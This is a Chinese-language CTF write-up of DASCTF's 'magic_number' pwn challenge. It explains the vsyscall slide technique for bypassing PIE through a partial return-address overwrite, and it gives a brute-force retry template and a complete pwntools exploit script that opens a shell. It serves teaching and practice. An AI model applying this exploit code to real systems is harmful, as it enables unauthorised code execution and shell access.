1. 程式人生 > 實用技巧 >pwn——vsyscall滑動繞過以及爆破

pwn——vsyscall滑動繞過以及爆破

vsyscall滑動繞過以及爆破

2020-09-0210:11:36 hawk


  這道題目是DASCTF8月月賽的題目magic_number,原始wp連結在這裡,這裡我對於裡面的一些知識點、坑進行總結一下。

  這裡是我的wp以及檔案


概括總覽

  這裡主要介紹一下vsyscall技術,方便下面的利用。

  首先介紹一下背景——對於一般的系統呼叫,例如sys_read、sys_write等,其需要想核心傳遞一些引數,從而實現一些特定的功能。當我們呼叫這個系統呼叫時,而由於這裡會進行一些引數的傳遞,為了保證使用者態和核心態的資料隔離,往往需要把當前的上下文(暫存器狀態)儲存好,然後切換到核心態;然後執行完呼叫後,將結果放置到對應的暫存器和記憶體中,再恢復上下文,切換回使用者態。這中間會產生大量的系統開銷。因此,為了解決這個問題,Linux系統會將僅僅從核心裡請求讀取資料的系統呼叫單獨羅列出來進行優化——包括gettimeofday、time以及getcpu這幾個系統呼叫。其地址實際上是固定的,在原始碼中如下所示

#define VSYSCALL_ADDR (-10UL << 20)

  實際上,通過這段程式碼,已經可以確定這部分是固定地址,為0xffffffffff600000。我們實際上可以將這部分程式碼dump出來,這裡我們直接引用其他博主的圖片https://www.cnblogs.com/ichunqiu/p/11350476.html,如下所示

  可以看到,這裡面由syscall。但是實際上這並不能簡單的當作syscall進行使用——這是因為vsyscall執行時會進行檢查,如果不是從函式開頭執行的話就會出錯。因此我們僅僅可以使用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800這三個地址,而這三個地址處對應的函式,我們可以簡單地將其看作一個retn指令——也就是說,我們可以通過覆蓋返回地址為上面分分析到的三個地址,從而改變棧的佈局。

  往往這個技術的思路是——在棧中尋找之前遺留的資訊,通過溢位技術修改,並通過vsyscall將返回地址滑動到該資訊處,從而完成攻擊。

  需要特別說明的是,這個技術實際上在釋出後的版本就被裁剪掉了,因此就無法再使用了,目前是隻能在Ubuntu 16.04版本上進行使用,需要特別注意一下。


例題

  這裡的例題採用的是DASCTF 8月賽的magic_number題目,首先按照管理,檢視一下開啟的保護措施,如下所示

  可以看到,RELRO保護全開,棧不可執行,並且PIE保護開啟。實際上看到PIE保護開啟,往往就需要進行PIE保護繞過了。下面我們觀察一下他的主要邏輯,如下所示

  可以看到,實際上這裡的邏輯非常簡單——如果v5的值等於0x12345678,則執行system("/bin/sh")命令。最後進行讀取操作。明顯的,該程式存在嚴重的棧溢位漏洞,最後讀取的輸入明顯超過了棧的大小,因此我們可以控制返回地址,從而控制程式的執行流程。而考慮到程式碼中存在system("/bin/sh")指令,因此如果我們將返回地址修改為該命令對應的地址,我們也就成功獲取了shell。

  但問題在於程式開啟了PIE保護,我們並不知道該指令對應的具體地址。因此我們考慮通過vsyscall技術進行繞過——如果棧上存在指令段的相關地址資訊,我們通過棧溢位進行覆蓋後幾位,從而可以在棧上構造system("/bin/sh")指令對應的地址,然後我們通過上面介紹的vsyscall滑動,讓返回地址滑動到該地址,則我們既可以成功獲取shell。我們在gdb中首先檢視一下棧上資訊,如圖所示

  實際上,我們根據rip可以注意到,程式碼段的地址大概位於0x55831b454adb。而在棧上,$rbp + 0x8是main的返回地址,$rbp + 0x28處的值僅僅最後一位元組和該地址不一樣。因此實際上我們將$rbp + 0x8到$rbp + 0x28中間的值用上面分析的vsyscall地址覆蓋掉,而後溢位最後一個位元組,使該地址為system("/bin/sh")指令的地址即可,這樣子即可完成shell的獲取。

  但是一般棧上的地址資訊和我們想要的指令地址資訊差距會比較大,這裡我們選擇$rbp + 0x40處的地址,可以看到,其與rip對應的地址後12個位元不同。但我們每一次至少改變8個位元,因此我們同樣進行覆蓋,但是需要覆蓋8 * 2 = 16個位元,因此需要對4位元的值進行爆破,概率為1 / 16,還是比較大的。

  這裡特別說明一下爆破——我們可以使用recv(timeout = 1)來進行爆破,其模板如下

def exp():
    global r
    '''
      獲取shell
    '''
    r.recv(timeout = 1)


if __name__ == '__main__':
    while True:
         try:
            exp()
            r.interactive()
            break
        except KeyboardInterrupt:
            break
        except:
            continue

  這個我簡單說一下我的理解,實際上這個模板僅使用這道題——核心思想是區分獲取shell的程式和沒有獲取shell的程式的區別。這道題中,沒有獲取shell的話,程式結束,那麼我們呼叫r.recv(timeout=1)的話,會返回EOFError錯誤(這裡timeout不能設定太小,否則不會報錯)。而獲取shell的程式不會崩潰,因此呼叫r.recv(timeout=1)的話返回空值,因此我們即可通過這個模板進行爆破。

  如果程式是一個無限迴圈的(選單題),則我們需要根據r.recv(timeout=1)的返回值進行判斷來爆破。

  最後貼出這道題目的wp,如下所示

#coding:utf-8
from pwn import *
#context.log_level = 'debug'
debug = 1


def exp(debug):
    global r
    if debug == 1:
        r = process('./magic_number')
        #gdb.attach(r, 'b *$rebase(0xadb)')
    r.recvuntil('Your Input :\n')

    vsyscall = 0xffffffffff600000

    r.send('a' * 0x38 + p64(vsyscall) * 7 + '\xa8\x4a')
    r.recv(timeout = 1)


if __name__ == '__main__':
    time = 1
    while True:
        try:
            log.info("No.%d try"%(time))
            exp(debug)
            r.interactive()
            break
        except KeyboardInterrupt:
            break
        except:
            r.close()
            time = time + 1
            continue